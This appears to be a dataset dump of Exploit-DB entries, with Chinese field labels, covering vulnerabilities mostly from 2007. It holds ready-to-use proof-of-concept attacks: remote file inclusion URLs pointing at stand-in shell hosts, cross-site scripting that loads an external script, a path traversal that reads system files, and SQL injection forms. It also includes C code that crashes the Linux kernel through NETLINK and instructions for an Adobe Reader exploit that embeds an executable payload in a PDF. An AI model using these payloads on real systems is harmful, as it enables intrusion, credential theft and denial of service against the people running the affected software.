QLWD/code_shield huggingface dataset:
标题: DynaTracker 1.5.1 - 'action.php?base_path' Remote File Inclusion EDB-ID: 29912 CVE: 2007-2330 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23667/info
 
DynaTracker is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
DynaTracker 1.5.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/DynaTracker_v151/action.php?base_path=http://shell URL: https://www.exploit-db.com/exploits/29912
标题: DynaTracker 1.5.1 - 'includes_handler.php?base_path' Remote File Inclusion EDB-ID: 29911 CVE: 2007-2330 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23667/info

DynaTracker is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

DynaTracker 1.5.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/DynaTracker_v151/includes_handler.php?base_path=http://shell URL: https://www.exploit-db.com/exploits/29911
标题: Linux Kernel 2.6.x - NETLINK_FIB_LOOKUP Local Denial of Service EDB-ID: 29916 CVE: 2007-1861 类型: DOS 平台: LINUX 发布日期: 2007-04-26 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/23677/info

The Linux kernel is prone to a denial-of-service vulnerability. This issue presents itself when a NETLINK message is misrouted.

A local attacker may exploit this issue to trigger an infinite-recursion stack-based overflow in the kernel. This results in a denial of service to legitimate users.

Versions prior to 2.6.20.8 are vulnerable. 
*/

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <memory.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>

/* stolen from kernel source ... could be a problem here ... */
struct fib_result_nl {
 uint32_t        fl_addr;   /* To be looked up*/
 uint32_t        fl_fwmark;
 unsigned char   fl_tos;
 unsigned char   fl_scope;
 unsigned char   tb_id_in;

 unsigned char   tb_id;      /* Results */
 unsigned char   prefixlen;
 unsigned char   nh_sel;
 unsigned char   type;
 unsigned char   scope;
 int             err;
};

struct msg {
 struct nlmsghdr nh;
 struct fib_result_nl frn;
};

int main()
{
 struct msg msg;
 struct sockaddr_nl sa;
 int fd;

 memset(&sa, 0, sizeof(sa));
 sa.nl_family = AF_NETLINK;
 sa.nl_pid = getpid();

 assert((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_FIB_LOOKUP)) > 0);
 assert(bind(fd, (struct sockaddr*)&sa, sizeof(sa)) == 0);

 sa.nl_pid = 0;
 memset(&msg, 0, sizeof(msg));
 msg.nh.nlmsg_len = sizeof(msg);
 msg.nh.nlmsg_flags = NLMSG_DONE;

 assert(sendto(fd, &msg, sizeof(msg), 0, (void*)&sa, sizeof(sa)) > 0);

 return 0;
} URL: https://www.exploit-db.com/exploits/29916
标题: MoinMoin 1.5.x - 'index.php' Cross-Site Scripting EDB-ID: 29915 CVE: 2007-2423 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/23676/info

MoinMoin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MoinMoin 1.5.7 is vulnerable; other versions may also be affected.

http://www.example.com/action=AttachFile&do=<script src=http://js_script></script> URL: https://www.exploit-db.com/exploits/29915
标题: CafeLog B2 0.6.1 Weblog and News Publishing Tool - 'b2mail.php?b2inc' Remote File Inclusion EDB-ID: 29906 CVE: 2007-2290 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23659/info
  
B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
These issues affect B2 0.6.1; other versions may also be vulnerable. 

http://www.example.com/b2mail.php?b2inc=http://shell URL: https://www.exploit-db.com/exploits/29906
标题: CafeLog B2 0.6.1 Weblog and News Publishing Tool - 'b2archives.php?b2inc' Remote File Inclusion EDB-ID: 29904 CVE: 2007-2290 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23659/info

B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect B2 0.6.1; other versions may also be vulnerable. 

http://www.example.com/b2archives.php?b2inc=http://shell URL: https://www.exploit-db.com/exploits/29904
标题: SunShop Shopping Cart 3.5/4.0 - Multiple Remote File Inclusions EDB-ID: 29908 CVE: 2007-2474 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23662/info

Sunshop is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Sunshop 4; other versions may also be vulnerable. 

http://www.example.com/include/payment/payflow_pro.php?abs_path=http://www.example2.com/? URL: https://www.exploit-db.com/exploits/29908
标题: CafeLog B2 0.6.1 Weblog and News Publishing Tool - 'b2categories.php?b2inc' Remote File Inclusion EDB-ID: 29905 CVE: 2007-2290 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23659/info
 
B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect B2 0.6.1; other versions may also be vulnerable. 

http://www.example.com/b2categories.php?b2inc=http://shell URL: https://www.exploit-db.com/exploits/29905
标题: Ahhp Portal - 'page.php' Multiple Remote File Inclusions EDB-ID: 29903 CVE: 2007-2428 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23658/info

Ahhp Portal is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/page.php?fp=r57shell?
http://www.example.com/page.php?sc=r57shell? URL: https://www.exploit-db.com/exploits/29903
标题: MyNewsGroups 0.6 - 'Include.php' Remote File Inclusion EDB-ID: 29899 CVE: 2007-2325 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23646/info

MyNewsGroups is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects MyNewsGroups 0.6; other versions may also be vulnerable. 

http://www.example.com/include.php?myng_root=http://shell URL: https://www.exploit-db.com/exploits/29899
标题: plesk 8.1.1 - 'login.php3' Directory Traversal EDB-ID: 29898 CVE: 2007-2268 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23639/info

Plesk is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

https://www.example.com/login.php3?login_name=x&passwd=x&locale_id=../../../../../../../../boot.ini%00.jpg URL: https://www.exploit-db.com/exploits/29898
标题: Comus 2.0 - 'Accept.php' Remote File Inclusion EDB-ID: 29907 CVE: 2007-2287 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23661/info

Comus is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Comus 2.0; other versions may also be affected. 

http://www.example.com/accept.php?DOCUMENT_ROOT=http://shell URL: https://www.exploit-db.com/exploits/29907
标题: Phorum 5.1.20 - 'admin.php' Groups Module Edit/Add Group Field SQL Injection EDB-ID: 29894 CVE: 2007-2339 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23616/info
       
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
       
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

Let's try to add group named "war'axe":

http://localhost/phorum.5.1.20/admin.php?module=groups

Edit groups / Add group --> war'axe

<!-- You have an error in your SQL syntax; check the manual that corresponds to your
 MySQL server version for the right syntax to use near 'axe')' at line 1:
insert into phorum_groups (name) values ('war'axe') --> URL: https://www.exploit-db.com/exploits/29894
标题: Cdelia Software ImageProcessing - '.BMP' File Denial of Service EDB-ID: 29896 CVE: 2007-2565 类型: DOS 平台: WINDOWS 发布日期: 2007-04-24 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/23629/info

Cdelia Software ImageProcessing is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. 
*/

/*
**********************************
## Exploit Coded By Dr.Ninux ##
##       www.LeZr.com        ##
##  LeZr.com Security Team   ##
##    Dr.Ninux@bsdmail.org   ##
**********************************
## 24 April 2007 , Tuesday
## This exploit will create an image (bmp)
## try to open it with "ImageProcessing" from Cdelia Software co.
## then the program will be die...!
**********************************
##
## grEEts to:
## Dr.Virus9,Qptan(Linux_Drox),Q8trojan,BataWeel,SAUDI,RoDhEDoR,
## Arab4services.com,The_DoN,aseer-alnjoom,Maxy,hacaar...AND milw0rm.com
##
*/

#include <stdio.h
#include <stdlib.h

#define INV_PIC "die.bmp"

int main()
{

      int i=0;
      char inv_[]="LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL";
      FILE* inv_pic;

      printf("\t\t**********************************\n");
      printf("\t\t  ## Exploit Coded By Dr.Ninux ##\n");
      printf("\t\t  ##       www.LeZr.com        ##\n");
      printf("\t\t  ##  LeZr.com Security Team   ##\n");
      printf("\t\t  ##    Dr.Ninux@bsdmail.org   ##\n");
      printf("\t\t**********************************\n");
      printf("\n");

      if((inv_pic=fopen(INV_PIC,"wb"))==NULL)
      {
              printf("error:foepn().\n");
              exit(0);
      }

      printf("[+]Creating |invalid picture| ... plz wait.\n");

      for(i=0;i<sizeof(inv_);i++)
      {
              fputc(inv_[i],inv_pic);
      }

      fclose(inv_pic);
      printf("[+]BMP File %s Successfuly Created...\n",INV_PIC);

      return 0;
} URL: https://www.exploit-db.com/exploits/29896
标题: Phorum 5.1.20 - '/include/admin/banlist.php?delete' Cross-Site Request Forgery Banlist Deletion EDB-ID: 29891 CVE: 2007-2338 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23616/info
    
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
    
Phorum 5.1.20 is affected; prior versions may also be vulnerable.
 
> From source: "include/admin/banlist.php" line 47:
--------------------------------------------------
    if(isset($_GET["curr"])){
        if(isset($_GET["delete"])){
            phorum_db_del_banitem($_GET['curr']);
            echo "Ban Item Deleted<br />";
        } else {
            $curr = $_GET["curr"];
        }
    }
--------------------------------------------------
PoC:
http://localhost/phorum.5.1.20/admin.php?module=banlist&curr=9&delete=1

... and banlist entry will be deleted easily.

Solution: use POST method URL: https://www.exploit-db.com/exploits/29891
标题: Phorum 5.1.20 - 'pm.php' Recipient Name SQL Injection EDB-ID: 29892 CVE: 2007-2339 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23616/info
     
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
     
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

Let's look at source code of "include/db/mysq.php" ~ line 1881 :

------------------[source code]----------------------
function phorum_db_user_get($user_id, $detailed)
{
    $PHORUM = $GLOBALS["PHORUM"];

    $conn = phorum_db_mysql_connect();

    if(is_array($user_id)){
        $user_ids=implode(",", $user_id);
    } else {
        $user_ids=(int)$user_id;
    }

    $users = array();

    $sql = "select * from {$PHORUM['user_table']} where user_id in ($user_ids)";
    $res = mysql_query($sql, $conn);
    if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");
------------------[/source code]----------------------

As we can see, if "$user_id" is array, then there is no sanitize against data before
using in sql query.
After some research I have found a way to use this bug for sql injection. For this,
first of all, potential attacker must have valid user account in specific Phorum-powered
website and he/she must be logged in. And then let's try this proof-of-concept html file:

------------------[PoC exploit]-----------------------
<html>
<body>
<form action="http://localhost/phorum.5.1.20/pm.php" method="post">
<input type="hidden" name="recipients[1) OR foobar=123/* ]" value="waraxe">
<input type="submit" name"test" value="test">
</body>
</html> URL: https://www.exploit-db.com/exploits/29892
标题: Phorum 5.1.20 - '/include/controlcenter/users.php' Multiple Method Privilege Escalations EDB-ID: 29889 CVE: 2007-2249 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23616/info
  
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
  
Phorum 5.1.20 is affected; prior versions may also be vulnerable.
 
All parameters must be set correctly for this exploit to work.
"/control.php?1" --> "1" is forum id, where moderator has user moderation
privileges.
"user_ids[2]" -->  "2" is userid of the user, who want's to get admin privileges
And of course, moderator must be logged in before using exploit.

It's that easy - you push the button - and you have admi rights!!

So where is the initial problem for this security hole?

Let's look at sourrce code of "include/controlcenter/users.php" line 29:

------------------[source code]----------------------
if(!empty($_POST["user_ids"])){

    foreach($_POST["user_ids"] as $user_id){

        if(!isset($_POST["approve"])){
            $userdata["active"]=PHORUM_USER_INACTIVE;
        } else {
            $user=phorum_user_get($user_id);
            if($user["active"]==PHORUM_USER_PENDING_BOTH){
                $userdata["active"]=PHORUM_USER_PENDING_EMAIL;
            } else {
                $userdata["active"]=PHORUM_USER_ACTIVE;
                // send reg approved message

$maildata["mailsubject"]=$PHORUM["DATA"]["LANG"]["RegApprovedSubject"];

$maildata["mailmessage"]=wordwrap($PHORUM["DATA"]["LANG"]["RegApprovedEmailBody"], 72);
                phorum_email_user(array($user["email"]), $maildata);
            }
        }

        $userdata["user_id"]=$user_id;

        phorum_user_save($userdata);
    }
}
------------------[/source code]----------------------

As we can see, by manipulating $_POST["user_ids"] parameter any user can
be activated or deactivated. Including admin. So - there is no checking, if target
user is allready active or has it higher privileges than moderator.
This was mistake one. Now, mistake number two.

Array "$userdata" is uninitialized. So we can "poison" that variable, if php settings
has "register_globals=on". And in this way user moderator can deliver for saving any
userdata for any user. For example - userdata[admin] carries user admin privileges.

Solution: array initializing before use and adding some security checks. URL: https://www.exploit-db.com/exploits/29889
标题: Phorum 5.1.20 - 'admin.php?modsettings Module smiley_id' Cross-Site Scripting EDB-ID: 29888 CVE: 2007-2248 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23616/info
 
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
 
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

http://localhost/phorum.5.1.20/admin.php?module=modsettings&mod=smileys&
edit=1&smiley_id="><script>alert(123);</script> URL: https://www.exploit-db.com/exploits/29888
标题: File117 - Multiple Remote File Inclusions EDB-ID: 29880 CVE: 2007-2262 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23600/info

File117 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/html/php/detail.php?relPath=[shell]?
http://www.example.com/html/php/detail.php?folder=[shell]? URL: https://www.exploit-db.com/exploits/29880
标题: Phorum 5.1.20 - 'admin.php' badwords/banlist Module SQL Injection EDB-ID: 29893 CVE: 2007-2339 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23616/info
      
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
      
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
      
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

> From source code - "include/db/mysql.php" line 3223:
--------------------------------------------------
function phorum_db_del_banitem($banid) {
    $PHORUM = $GLOBALS["PHORUM"];

    $conn = phorum_db_mysql_connect();

    $sql = "DELETE FROM {$PHORUM['banlist_table']} WHERE id = $banid";

    $res = mysql_query($sql, $conn);
---------------------------------------------------

PoC: http://localhost/phorum.5.1.20/admin.php?module=banlist&delete=1&curr=OR

... and we will get error message:

<!-- You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near
'OR' at line 1: DELETE FROM phorum_banlists WHERE id = OR --> URL: https://www.exploit-db.com/exploits/29893
标题: PHPMyBibli 1.32 - 'Init.Inc.php' Remote File Inclusion EDB-ID: 29879 CVE: 2007-2258 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23599/info

PHPMyBibli is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects PHPMyBibli 1.32; other versions may also be vulnerable.

http://www.example.com/includes/init.inc.php?base_path=Shell URL: https://www.exploit-db.com/exploits/29879
标题: Adobe Acrobat Reader - ASLR + DEP Bypass with Sandbox Bypass EDB-ID: 29881 CVE: 2013-0640 类型: LOCAL 平台: WINDOWS 发布日期: 2013-11-28 漏洞利用脚本: CVE-2013-0640/1
Somehow, our script got on to the Russian forums :/

@w3bd3vil and @abh1sek

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29881.tar.gz

Adobe Acrobat Reader ASLR/DEP bypass Exploit with SANDBOX BYPASS
=================================================================

Supported Adobe Reader Versions:

* 11.0.1
* 11.0.0

* 10.1.5
* 10.1.4
* 10.1.3
* 10.1.2
* 10.1

* 9.5

Tested on:

* Windows 7 (32 bit)
* Windows 7 (64 bit)
* Windows XP

Script Requirements:

* Run on Windows :-)
* Ruby 1.9.x (http://rubyforge.org/frs/download.php/76752/rubyinstaller-1.9.3-p385.exe)
* Gems: origami, metasm (In command prompt type, gem install metasm && gem install origami -v "=1.2.5")

FYI:
a. It's a rip, of the original exploit.
b. Works most of the times.
c. We never really got into completing our script options though.

ruby xfa_MAGIC.rb -h
Usage: xfa_MAGIC.rb [options]
    -i, --input [FILE]               Input PDF. If provided, exploit will be injected into it (optional)
    -p, --payload [FILE]             PE executable to embed in the payload
        --low-mem                    Use Heap spray suitable for low memory environment
    -o, --output [FILE]              File path to write output PDF
    -h, --help                       Show help
(Some commands are not supported at the moment)

ruby xfa_MAGIC.rb -p example.exe -o poc.pdf URL: https://www.exploit-db.com/exploits/29881